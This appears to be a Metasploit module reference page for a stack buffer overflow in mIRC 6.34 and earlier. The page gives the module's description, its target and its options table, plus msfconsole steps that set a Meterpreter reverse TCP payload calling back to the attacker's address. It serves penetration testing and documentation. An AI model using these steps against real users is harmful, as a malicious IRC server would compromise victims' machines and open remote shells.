mIRC <= 6.34 PRIVMSG Handling Stack Buffer Overflow
This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier. By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads may be necessary. This module is based on the code by SkD.
Exploit Rank
- Normal
Exploit Authors
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Windows XP SP3 (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/misc/mirc_privmsg_server
msf exploit(mirc_privmsg_server) > show payloads
msf exploit(mirc_privmsg_server) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mirc_privmsg_server) > set LHOST [MY IP ADDRESS]
msf exploit(mirc_privmsg_server) > exploit
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msf > use exploit/windows/misc/mirc_privmsg_server
msf exploit(mirc_privmsg_server) > show payloads
msf exploit(mirc_privmsg_server) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mirc_privmsg_server) > set LHOST [MY IP ADDRESS]
msf exploit(mirc_privmsg_server) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVNAME | Welcome to the ... IRC Server Name (default: Internet Relay Network) |
| SRVPORT | The IRC server port to listen on (default: 6667) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |